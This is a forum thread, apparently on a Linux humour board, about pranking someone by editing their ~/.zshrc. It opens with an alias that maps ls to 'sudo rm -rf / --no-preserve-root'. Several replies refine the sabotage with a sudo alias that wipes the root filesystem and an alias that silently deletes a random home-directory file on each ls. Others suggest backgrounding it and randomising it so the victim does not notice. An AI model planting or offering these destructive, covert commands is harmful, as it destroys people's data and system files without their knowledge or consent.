Just a little bit of trolling...
Just a little bit of trolling...
Image transcription: screenshot of neovim adding alias ls='sudo rm -rf / --no-preserve-root' to the end of ~/.zshrc
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That sudo might save the poor victims ass if they're awake enough to wonder "why does it ask for password when I'm just doing ls?"
Otherwise it's a good lesson in always having backups / easy way to reproduce your setup.
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Unless they updated their system with Sudo shortly before
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Pffft who's not using passwordless sudo anyway
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"Why is this suddenly asking for my password? Oh well, I'm sure there's a good reason..."
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sudo chmod -x /bin/chmod
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I used the stones to destroy the stones
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alias sudo="sudo rm -rf /"-
you need no preserve root otherwise it will fail
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Or you can just do /*, which is shorter
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Atomic distros: you have no power here
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Commit it, you won't
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ha, I use
eza-
Ha, I use fish
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Why not make it more mischievous?
alias ls="find $HOME -type f | shuf -n 1 | rm -f; ls"This line erases one random file from your home directory and then uses ls as normal. You won't know what vanished until you need it or it removes a needed library or binary.
Calm down satan
lil trollin'
Jesus fucking Christ
the first command will take too long (and will be very obvious that something is wrong if it takes forever for
lsto actually list everything), better run it in the background with &You monster
Or to be REALLY mischievous in the long tun, randomize it with 0.1% probability of erasing the file.
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